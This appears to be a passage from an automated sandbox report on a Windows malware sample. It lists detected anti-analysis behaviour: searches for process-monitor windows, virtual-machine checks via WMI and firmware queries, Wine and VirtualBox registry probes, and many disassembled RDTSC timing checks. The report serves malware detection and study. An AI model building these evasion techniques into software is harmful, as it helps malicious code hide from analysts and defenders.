Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 0_2_00C9C1D6 push eax; mov dword ptr [esp], ecx	0_2_00C9C1D8

Source: YKri2nEBWE.exe

Static PE information: section name: entropy: 7.9818005594578265

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E1273C second address: E1274D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCA18DB50E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E1274D second address: E1275E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FCA18C4F696h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E128A4 second address: E128AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E12D41 second address: E12D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E12D46 second address: E12D4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E12D4C second address: E12D50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E12EE6 second address: E12EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FCA18DB50E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E148B4 second address: E1494B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FCA18C4F6A2h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d mov dword ptr [ebp+122D1F5Bh], ebx 0x00000013 mov dword ptr [ebp+122D1F5Bh], edi 0x00000019 popad 0x0000001a push 00000000h 0x0000001c jmp 00007FCA18C4F69Dh 0x00000021 push 97BBF7BFh 0x00000026 ja 00007FCA18C4F6A0h 0x0000002c add dword ptr [esp], 684408C1h 0x00000033 xor ecx, dword ptr [ebp+122D318Ch] 0x00000039 mov edx, dword ptr [ebp+122D3936h] 0x0000003f push 00000003h 0x00000041 mov ecx, ebx 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push eax 0x00000048 call 00007FCA18C4F698h 0x0000004d pop eax 0x0000004e mov dword ptr [esp+04h], eax 0x00000052 add dword ptr [esp+04h], 00000014h 0x0000005a inc eax 0x0000005b push eax 0x0000005c ret 0x0000005d pop eax 0x0000005e ret 0x0000005f push 00000003h 0x00000061 add dword ptr [ebp+122D1E3Ah], ebx 0x00000067 push 8A0E2394h 0x0000006c push ebx 0x0000006d pushad 0x0000006e ja 00007FCA18C4F696h 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E1494B second address: E1498E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 add dword ptr [esp], 35F1DC6Ch 0x0000000d mov dword ptr [ebp+122D1C71h], edi 0x00000013 lea ebx, dword ptr [ebp+1244F78Bh] 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FCA18DB50E8h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 mov dx, si 0x00000036 push eax 0x00000037 push esi 0x00000038 je 00007FCA18DB50ECh 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E149D8 second address: E149F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E14AEB second address: E14B0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E14B58 second address: E14B5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E14B5E second address: E14BBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov ecx, dword ptr [ebp+122D1D81h] 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FCA18DB50E8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov edx, dword ptr [ebp+122D3B2Ah] 0x00000031 mov dword ptr [ebp+122D37A5h], edi 0x00000037 call 00007FCA18DB50E9h 0x0000003c jmp 00007FCA18DB50EBh 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jns 00007FCA18DB50E8h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E14BBF second address: E14BC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E14BC5 second address: E14C05 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edi 0x0000000d jmp 00007FCA18DB50F6h 0x00000012 pop edi 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FCA18DB50F8h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E14C05 second address: E14C0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E14C0B second address: E14C24 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCA18DB50EBh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E14C24 second address: E14C29 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E14C29 second address: E14C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 push 00000003h 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FCA18DB50E8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 sub dword ptr [ebp+122D1E66h], ebx 0x0000002c clc 0x0000002d push 00000003h 0x0000002f adc si, 779Ch 0x00000034 jmp 00007FCA18DB50ECh 0x00000039 push E6B39F79h 0x0000003e push ecx 0x0000003f push eax 0x00000040 push edx 0x00000041 je 00007FCA18DB50E6h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E14C7C second address: E14C80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: DFC8DA second address: DFC8FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA18DB50EFh 0x00000009 popad 0x0000000a ja 00007FCA18DB50EEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: DFC8FC second address: DFC901 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: DFC901 second address: DFC925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FCA18DB50E6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 jo 00007FCA18DB50E6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FCA18DB50EAh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E34B55 second address: E34B71 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCA18C4F696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FCA18C4F69Eh 0x00000010 jl 00007FCA18C4F696h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E353EC second address: E353F2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E353F2 second address: E3540B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FCA18C4F69Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E3554B second address: E35567 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E35567 second address: E3557E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FCA18C4F69Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E356F5 second address: E35705 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jnl 00007FCA18DB50E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E35705 second address: E3570F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCA18C4F696h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E35B4C second address: E35B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E35B52 second address: E35B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E35B56 second address: E35B5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E35B5A second address: E35B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E35B65 second address: E35B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E360EE second address: E3611E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FCA18C4F6A9h 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCA18C4F69Fh 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: DFC8F6 second address: DFC8FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E363D5 second address: E3640E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d pop ecx 0x0000000e jg 00007FCA18C4F6C8h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FCA18C4F6A5h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E01804 second address: E01808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E01808 second address: E01814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E01814 second address: E01818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E01818 second address: E0181E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E3A385 second address: E3A39E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCA18DB50F5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E09F99 second address: E09FB4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCA18C4F6A2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E09FB4 second address: E09FB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E41D91 second address: E41D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E41D97 second address: E41D9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E42079 second address: E4209B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FCA18C4F6A8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E42470 second address: E42476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E42476 second address: E42486 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCA18C4F696h 0x00000008 jnc 00007FCA18C4F696h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E42486 second address: E42490 instructions: 0x00000000 rdtsc 0x00000002 js 00007FCA18DB50ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E42490 second address: E424AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FCA18C4F6A2h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E42625 second address: E4262B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4262B second address: E42631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E42631 second address: E42644 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jng 00007FCA18DB50E6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4559F second address: E455EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 jl 00007FCA18C4F696h 0x0000000e pop edx 0x0000000f popad 0x00000010 push eax 0x00000011 jns 00007FCA18C4F6A2h 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b jmp 00007FCA18C4F6A6h 0x00000020 mov eax, dword ptr [eax] 0x00000022 push eax 0x00000023 push edx 0x00000024 jng 00007FCA18C4F69Ch 0x0000002a jg 00007FCA18C4F696h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E455EC second address: E45630 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push edi 0x0000000e js 00007FCA18DB50ECh 0x00000014 ja 00007FCA18DB50E6h 0x0000001a pop edi 0x0000001b pop eax 0x0000001c xor edi, 24686CEFh 0x00000022 jmp 00007FCA18DB50ECh 0x00000027 push 030E6A92h 0x0000002c push eax 0x0000002d push edx 0x0000002e push edi 0x0000002f jnl 00007FCA18DB50E6h 0x00000035 pop edi 0x00000036 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E459F8 second address: E459FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E459FC second address: E45A06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E45A06 second address: E45A29 instructions: 0x00000000 rdtsc 0x00000002 je 00007FCA18C4F696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FCA18C4F6A3h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E45B26 second address: E45B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E461A0 second address: E461A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E46361 second address: E46365 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E46365 second address: E46380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FCA18C4F6A2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E46406 second address: E4640A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4640A second address: E46414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E46414 second address: E46418 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E464DC second address: E464E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E464E1 second address: E464E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E464E6 second address: E464F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FCA18C4F696h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E464F9 second address: E464FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4674B second address: E46759 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E46759 second address: E4675D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4776E second address: E47773 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
